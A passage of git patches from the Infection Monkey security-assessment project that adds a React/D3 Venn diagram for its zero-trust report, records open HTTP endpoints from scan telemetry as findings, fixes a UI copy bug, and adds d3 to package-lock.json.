monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/utility.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js new file mode 100644 index 000000000..b9861a55e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js @@ -0,0 +1,46 @@ +import React from 'react' +import PropTypes from 'prop-types'; +import * as d3 from 'd3' + +class ArcNode extends React.Component{ + + render() { + + let {prefix, ref, index, data} = this.props;; + + let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0); + + return ( + + + + + + {data.label} + + + + + ) + + } + +} + +ArcNode.propTypes = { + + prefix: PropTypes.string, + index: PropTypes.number, + data: PropTypes.object + +} + +export default ArcNode; \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js new file mode 100644 index 000000000..a8caf5bb0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js @@ -0,0 +1,57 @@ +import React from 'react' +import PropTypes from 'prop-types'; + +class CircularNode extends React.Component{ + + render() { + + let {prefix, ref, index, data} = this.props; + + let tspans = data.label.split("|").map((d_, i_) =>{ + + let halfTextHeight = data.fontStyle.size * data.label.split("|").length / 2; + let key = 'vennDiagramCircularNode' + index + '_Tspan' + i_; + + return ( + + {d_} + + ) + + }) + + let translate = 'translate(' + data.cx + ',' + data.cy + ')'; + + return ( + + + + + {tspans} + + + + ) + + } + +} + +CircularNode.propTypes = { + + prefix: PropTypes.string, + index: PropTypes.number, + data: PropTypes.object + +} + +export default CircularNode; \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/Tooltip/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/Tooltip/index.js new file mode 100644 index 000000000..579b36a5b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/Tooltip/index.js @@ -0,0 +1,49 @@ +import React from 'react' +import PropTypes from 'prop-types'; + +class Tooltip extends React.Component{ + + render() { + + const {prefix, bcolor, top, left, display, html } = this.props; + + const style = { + + backgroundColor: bcolor, + border : '1px solid #FFFFFF', + borderRadius: '2px', + fontSize: 10, + padding: 8, + display, + opacity: 0.9, + position: 'fixed', + top, + left, + pointerEvents: 'none' + + }; + + return ( + +
    + {html.split('\n').map((i_, key_) => { return
    {i_}
    ; })} +
    + + ); + + } + +} + +Tooltip.propTypes = { + + prefix: PropTypes.string, + bcolor: PropTypes.string, + top: PropTypes.number, + left: PropTypes.number, + display: PropTypes.string, + html: PropTypes.string + +} + +export default Tooltip; \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.css new file mode 100644 index 000000000..6c7cd778e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.css @@ -0,0 +1,14 @@ +@import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap'); + +body { margin: 0; font-family: "Noto Sans", sans-serif; } + +svg { + + -webkit-touch-callout: none; /* iOS Safari */ + -webkit-user-select: none; /* Safari */ + -khtml-user-select: none; /* Konqueror HTML */ + -moz-user-select: none; /* Firefox */ + -ms-user-select: none; /* Internet Explorer/Edge */ + user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */ + +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js new file mode 100644 index 000000000..b221d4159 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.js @@ -0,0 +1,369 @@ +import React from 'react' +import PropTypes from 'prop-types'; +import Dimensions from 'react-dimensions' +import Tooltip from './Tooltip' +import CircularNode from './CircularNode' +import ArcNode from './ArcNode' +import { TypographicUtilities } from './utility.js' +import './index.css' + +/* + +TODO LIST + +UPDATED [21.08.2019] + +[-] SVG > ViewBox 0 0 512 512, so it would be responsive and scalable +[-] Add resize listener to ResponsiveVennDiagram wrapper +[-] I have noticed that you have PillarGrades at ZeroTrustReportPage, so how I can fetch the data out of it? + +UPDATED [20.08.2019] + +[x] I've seen that lots of D3 responsive examples are using 'wrapper' around the main component to + get parent container dimensions. And lister for resize. + + So, here it's Responsive(VennDiagram) + + If it doesn't work, I have another alternative: + + import React, { useRef, useEffect, useState, useLayoutEffect } from 'react' + + const ResponsiveVennDiagram = props => { + + const minWidth = 256; + const targetRef = useRef(); + const [dimensions, setDimensions] = useState({ width: 0, heigth: 0 }); + let movement_timer = null; + const RESET_TIMEOUT = 100; + + const checkForDimensionsUpdate = () => { + + if (targetRef.current) { + + setDimensions({ + + width: Math.min(targetRef.current.offsetWidth, targetRef.current.offsetHeight), + height: targetRef.current.offsetHeight + + }); + + } + }; + + useLayoutEffect(() => { checkForDimensionsUpdate(); }, []); + + window.addEventListener("resize", () => { clearInterval(movement_timer); movement_timer = setTimeout(checkForDimensionsUpdate, RESET_TIMEOUT); }); + + return ( + +
    + +
    + + ); + + }; + + ResponsiveVennDiagram.propTypes = { + + pillarsGrades: PropTypes.array + + } + + export default ResponsiveVennDiagram; + + While your diagram laout is squared, the VennDiaagram gets the min(width, height) + +[x] Colours have been updated. + +[x] String prototypes have been moved to '.utilities.js' + +[x] I have use the prefix 'vennDiagram' for all children elements to prevent naming conflicts with other components + DOM objects. + +[x] I have used PropTypes already a year ago on ThreeJS/ReactJS stack project. + +[!] External callback is still on my list, can you make a mockup for external function which have to get pillar variable? + +[!] Z-indices sorting on mouseover + Would be n my 21.08.2019 TODO list. With D3.JS it's an easy task, however would try do + make these z-soring without D3 framework. + +UPDATED [20.08.2019] + +[!] By now, there are three input props for VennDiagram component: + data, width and height. + +[-] Since layout has to be hardcoded, it's driven by this.layout object. + There're many ways of setting circles/arc positions, now I'm using the + stright-forward one. + + Usually, I am put all hardcoded params to external JSON file, i.e config.json. + Let me know if it's a good idea. + +[-] Could rearange z-indecies for nodes on hover, so highlighted node would have highest z-index. +[-] If you want callback on click even, please provide additional info what are you expecting to pass + through this. + +[!] I don't used to make lots of comments in my code, but treying to name everything in a way, + so third person could instantly get its job and concept. + + If it is not enoough just let me know. + +[!] I have tried to avoid using D3 so much, especially its mouse events, cause it creates a bunch + of listeners for every children DOM elements. I have tried to use raw SVG objects. + The ArcNode is the only component where I've to call d3.arc constrictor. + +[!] There are lots of discussion over different blogs an forums that ReactJS and D3.JS have a DOM + issue conflict, [could find lots of articels at medium.org about that, for example, + https://medium.com/@tibotiber/react-d3-js-balancing-performance-developer-experience-4da35f912484]. + + Since the current component has only a few DOM elements, I don't thing we would have any troubles, + but please keep in mind that I could tweak current version with react-faux-dom. + + Actually, by now, I'm using D3 only for math, for arc path calculations. + +[!] Don't mind about code spacings, it's just for me, the final code would be clear out of them. + +[-] On click, an EXTERNAL callback should be called with the pillar name as a parameter. That is to enable us to expand the click functionality in future without editing the internal implementation of the component. + +[-] planned, [x] done, [!] see comments + +@author Vladimir V KUCHINOV +@email helloworld@vkuchinov.co.uk + +*/ + +const VENN_MIN_WIDTH = 256; + +class ResponsiveVennDiagram extends React.Component { + + constructor(props) { super(props); } + render() { + + const {options, pillarsGrades} = this.props; + let childrenWidth = this.props.containerWidth, childrenHeight = this.props.containerHeight; + + if(childrenHeight === 0 || childrenHeight === NaN){ childrenHeight = childrenWidth; } + else{ childrenWidth = Math.min(childrenWidth, childrenHeight) } + + return ( + +
    + +
    ) + + } + +} + +ResponsiveVennDiagram.propTypes = { + + pillarsGrades: PropTypes.array + +} + +export default Dimensions()(ResponsiveVennDiagram); + +class VennDiagram extends React.Component{ + + constructor(props_){ + + super(props_); + + this.state = { tooltip: { top: 0, left: 0, display: 'none', html: '' } } + + this.colors = ['#777777', '#D9534F', '#F0AD4E', '#5CB85C']; + this.prefix = 'vennDiagram'; + this.suffices = ['', '|tests are|conclusive', '|tests were|inconclusive', '|tests|performed']; + this.fontStyles = [{size: Math.max(9, this.props.width / 32), color: 'white'}, {size: Math.max(6, this.props.width / 52), color: 'black'}]; + this.offset = this.props.width / 16; + + this.thirdWidth = this.props.width / 3; + this.sixthWidth = this.props.width / 6; + this.width2By7 = 2 * this.props.width / 7 + this.width1By11 = this.props.width / 11; + this.width1By28 = this.props.width / 28; + + this.toggle = false; + + this.layout = { + + Data: { cx: 0, cy: 0, r: this.thirdWidth - this.offset * 2, offset: {x: 0, y: 0} }, + People: { cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0} }, + Networks: { cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0} }, + Devices: { cx: 0, cy: this.width2By7, r: this.sixthWidth, offset: {x: 0, y: -this.width1By11} }, + Workloads : { cx: 0, cy: -this.width2By7, r: this.sixthWidth, offset: {x: 0, y: this.width1By11} }, + VisibilityAndAnalytics : { inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth }, + AutomationAndOrchestration: { inner: this.thirdWidth - this.width1By28 * 2, outer: this.thirdWidth - this.width1By28 } + + }; + + } + + componentDidMount() { + + this.parseData(); + + } + + _onMouseMove(e) { + + if(!this.toggle){ + + let hidden = 'none'; + let html = ''; + let bcolor = '#DEDEDE'; + + e.stopPropagation(); + + document.querySelectorAll('circle, path').forEach((d_, i_) => { d_.setAttribute('opacity', 0.8)}); + + if(e.target.id.includes('Node')) { + + html = e.target.dataset.tooltip; + this.divElement.style.cursor = 'pointer'; + hidden = 'block'; e.target.setAttribute('opacity', 1.0); + bcolor = e.target.getAttribute('fill'); + + }else{ + + this.divElement.style.cursor = 'default'; + + } + + this.setState({target: e, tooltip: { target: e.target, bcolor: bcolor, top: e.clientY + 8, left: e.clientX + 8, display: hidden, html: html } }); + + } + } + + _onClick(e) { + + if(this.state.tooltip.target === e.target) { this.toggle = true; } else { this.toggle = false; } + + //variable to external callback + //e.target.parentNode.id) + + } + + relativeCoords (e) { + + let bounds = e.target.getBoundingClientRect(); + var x = e.clientX - bounds.left; + var y = e.clientY - bounds.top; + return {x: x, y: y}; + + } + + parseData(){ + + let self = this; + let data = []; + const omit = (prop, { [prop]: _, ...rest }) => rest; + + this.props.pillarsGrades.forEach((d_, i_) => { + + let params = omit('pillar', d_); + let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_]||0), 0); + let key = TypographicUtilities.removeAmpersand(d_.pillar); + let html = self.buildTooltipHtmlContent(d_); + let rule = 3; + + if(sum === 0){ rule = 0 } + else if(d_['Conclusive'] > 0){ rule = 1 } + else if(d_['Conclusive'] === 0 && d_['Inconclusive'] > 0) { rule = 2 } + + self.setLayoutElement(rule, key, html, d_); + data.push(this.layout[key]) + + }) + + this.setState({ data: data }); + this.render(); + + } + + buildTooltipHtmlContent(object_){ return Object.keys(object_).reduce((out_, key_) => out_ + TypographicUtilities.setTitle(key_) + ': ' + object_[key_] + '\n', ''); } + + setLayoutElement(rule_, key_, html_, d_){ + + if(key_ === 'Data'){ this.layout[key_].fontStyle = this.fontStyles[0]; } + else {this.layout[key_].fontStyle = this.fontStyles[1]; } + + this.layout[key_].hex = this.colors[rule_]; + this.layout[key_].label = d_.pillar + this.suffices[rule_]; + this.layout[key_].node = d_; + this.layout[key_].tooltip = html_; + + } + + render() { + + if(this.state.data === undefined) { return null; } + else { + + let { width, height } = this.props; + let translate = 'translate(' + width /2 + ',' + height/2 + ')'; + + let nodes = Object.values(this.layout).map((d_, i_) =>{ + + if(d_.hasOwnProperty('cx')){ + + return ( + + + ); + + }else{ + + d_.label = TypographicUtilities.removeBrokenBar(d_.label); + + return ( + + + ); + + } + + }); + + return ( + +
    this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)} onClick={this._onClick.bind(this)}> + + + {nodes} + + + +
    + + ) + + } + + } + +} + +VennDiagram.propTypes = { + + pillarsGrades: PropTypes.array, + width: PropTypes.number, + height: PropTypes.number + +} \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/utility.js new file mode 100644 index 000000000..c9816c721 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/utility.js @@ -0,0 +1,8 @@ +export class TypographicUtilities { + + static removeAmpersand(string_) { return string_.replace(' & ', 'And'); } + static removeBrokenBar(string_) { return string_.replace(/\|/g, ' '); } + static setTitle(string_) { return string_.charAt(0).toUpperCase() + string_.substr(1).toLowerCase(); } + +} + \ No newline at end of file From 4581376d8d304dd3e7373f50478d4d367b24bc51 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 10:52:33 +0300 Subject: [PATCH 131/276] Added the open http endpoint test --- monkey/common/data/zero_trust_consts.py | 6 +- .../cc/models/zero_trust/event.py | 4 +- .../reporting/test_zero_trust_service.py | 4 +- .../zero_trust_tests/data_endpoints.py | 57 ++++++++++++++++--- 4 files changed, 55 insertions(+), 16 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 5e3791d40..a92e386fe 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -27,11 +27,11 @@ TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" TEST_MACHINE_EXPLOITED = u"machine_exploited" TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" TEST_SCHEDULED_EXECUTION = u"scheduled_execution" -TEST_ACTIVITY_TIMELINE = u"malicious_activity_timeline" +TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" TEST_SEGMENTATION = u"segmentation" TESTS = ( TEST_SEGMENTATION, - TEST_ACTIVITY_TIMELINE, + TEST_MALICIOUS_ACTIVITY_TIMELINE, TEST_SCHEDULED_EXECUTION, TEST_ENDPOINT_SECURITY_EXISTS, TEST_MACHINE_EXPLOITED, @@ -68,7 +68,7 @@ TESTS_MAP = { PILLARS_KEY: [NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_POSITIVE, STATUS_CONCLUSIVE] }, - TEST_ACTIVITY_TIMELINE: { + TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_INCONCLUSIVE: "Monkey performed malicious actions in the network. Check SOC logs and alerts." diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index 01c7f2f47..6ad728d66 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -23,9 +23,9 @@ class Event(EmbeddedDocument): # LOGIC @staticmethod - def create_event(title, message, event_type): + def create_event(title, message, event_type, timestamp=datetime.now()): event = Event( - timestamp=datetime.now(), + timestamp=timestamp, title=title, message=message, event_type=event_type diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index d3fe01db9..30a1a08fe 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -165,7 +165,7 @@ class TestZeroTrustService(IslandTestCase): "tests": [ { "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] } @@ -189,7 +189,7 @@ class TestZeroTrustService(IslandTestCase): "tests": [ { "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] } ] } diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index e0aabf413..119871420 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -1,16 +1,55 @@ import json -BAD_ENDPOINTS = { - "tcp-80": "Open HTTP server." -} +from common.data.zero_trust_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding + +HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] def test_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + found_http_server_status = STATUS_POSITIVE + + events = [ + Event.create_event( + title="Scan Telemetry", + message="Monkey on {} tried to perform a network scan, the target was {}.".format( + current_monkey.hostname, + telemetry_json["data"]["machine"]["ip_addr"]), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json["timestamp"] + ) + ] + for service_name, service_data in services.items(): - if service_name in BAD_ENDPOINTS: - # TODO Create finding - print("found open {} service on address {}, details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data))) + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=EVENT_TYPE_ISLAND + )) + if service_name in HTTP_SERVERS_SERVICES_NAMES: + found_http_server_status = STATUS_CONCLUSIVE + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=EVENT_TYPE_ISLAND + )) + + Finding.save_finding( + test=TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events + ) + + Finding.save_finding( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_INCONCLUSIVE, + events=events + ) From 7f98f55e64c455177bede1f1c8d40b0963888bc7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 11:21:52 +0300 Subject: [PATCH 132/276] Fixed error +warning in UI Error - didn't use deep copy and caused error Warning - 2 events might have the same timestamp --- .../components/report-components/zerotrust/EventsTimeline.js | 4 ++-- .../components/report-components/zerotrust/PillarOverview.js | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index 8ba994c65..9f9e1f899 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -15,10 +15,10 @@ export default class EventsTimeline extends Component {
    { - this.props.events.map(event => { + this.props.events.map((event, index) => { const event_time = new Date(event.timestamp['$date']).toString(); return (}> diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index 660e6ad5a..e2b16c91b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -21,7 +21,7 @@ const columns = [ class PillarOverview extends Component { render() { const data = this.props.grades.map((grade) => { - const newGrade = grade; + const newGrade = JSON.parse(JSON.stringify(grade)); newGrade.pillar = {name: grade.pillar, status: this.props.pillarsToStatuses[grade.pillar]}; return newGrade; }); From 2174f43a849874226cff98dc19adb9ab9b32a409 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 22 Aug 2019 13:33:40 +0300 Subject: [PATCH 133/276] Added d3 to package.json and now using the ResponsiveVennDiagram in Pillaroverview --- monkey/monkey_island/cc/ui/package-lock.json | 315 ++++++++++++++++-- monkey/monkey_island/cc/ui/package.json | 1 + .../zerotrust/PillarOverview.js | 10 +- 3 files changed, 286 insertions(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 09ccebad9..f366d73bd 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -3087,8 +3087,7 @@ "commander": { "version": "2.15.1", "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", - "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", - "dev": true + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==" }, "commondir": { "version": "1.0.1", @@ -3657,6 +3656,270 @@ "es5-ext": "^0.10.9" } }, + "d3": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz", + "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==", + "requires": { + "d3-array": "1", + "d3-axis": "1", + "d3-brush": "1", + "d3-chord": "1", + "d3-collection": "1", + "d3-color": "1", + "d3-contour": "1", + "d3-dispatch": "1", + "d3-drag": "1", + "d3-dsv": "1", + "d3-ease": "1", + "d3-fetch": "1", + "d3-force": "1", + "d3-format": "1", + "d3-geo": "1", + "d3-hierarchy": "1", + "d3-interpolate": "1", + "d3-path": "1", + "d3-polygon": "1", + "d3-quadtree": "1", + "d3-random": "1", + "d3-scale": "2", + "d3-scale-chromatic": "1", + "d3-selection": "1", + "d3-shape": "1", + "d3-time": "1", + "d3-time-format": "2", + "d3-timer": "1", + "d3-transition": "1", + "d3-voronoi": "1", + "d3-zoom": "1" + } + }, + "d3-array": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", + "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + }, + "d3-axis": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", + "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + }, + "d3-brush": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz", + "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==", + "requires": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "d3-chord": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", + "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "requires": { + "d3-array": "1", + "d3-path": "1" + } + }, + "d3-collection": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", + "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" + }, + "d3-color": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz", + "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg==" + }, + "d3-contour": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", + "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "requires": { + "d3-array": "^1.1.1" + } + }, + "d3-dispatch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz", + "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g==" + }, + "d3-drag": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz", + "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==", + "requires": { + "d3-dispatch": "1", + "d3-selection": "1" + } + }, + "d3-dsv": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz", + "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==", + "requires": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + } + }, + "d3-ease": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz", + "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ==" + }, + "d3-fetch": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz", + "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==", + "requires": { + "d3-dsv": "1" + } + }, + "d3-force": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", + "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "requires": { + "d3-collection": "1", + "d3-dispatch": "1", + "d3-quadtree": "1", + "d3-timer": "1" + } + }, + "d3-format": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz", + "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ==" + }, + "d3-geo": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz", + "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==", + "requires": { + "d3-array": "1" + } + }, + "d3-hierarchy": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz", + "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w==" + }, + "d3-interpolate": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz", + "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==", + "requires": { + "d3-color": "1" + } + }, + "d3-path": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz", + "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg==" + }, + "d3-polygon": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz", + "integrity": "sha512-RHhh1ZUJZfhgoqzWWuRhzQJvO7LavchhitSTHGu9oj6uuLFzYZVeBzaWTQ2qSO6bz2w55RMoOCf0MsLCDB6e0w==" + }, + "d3-quadtree": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.6.tgz", + "integrity": 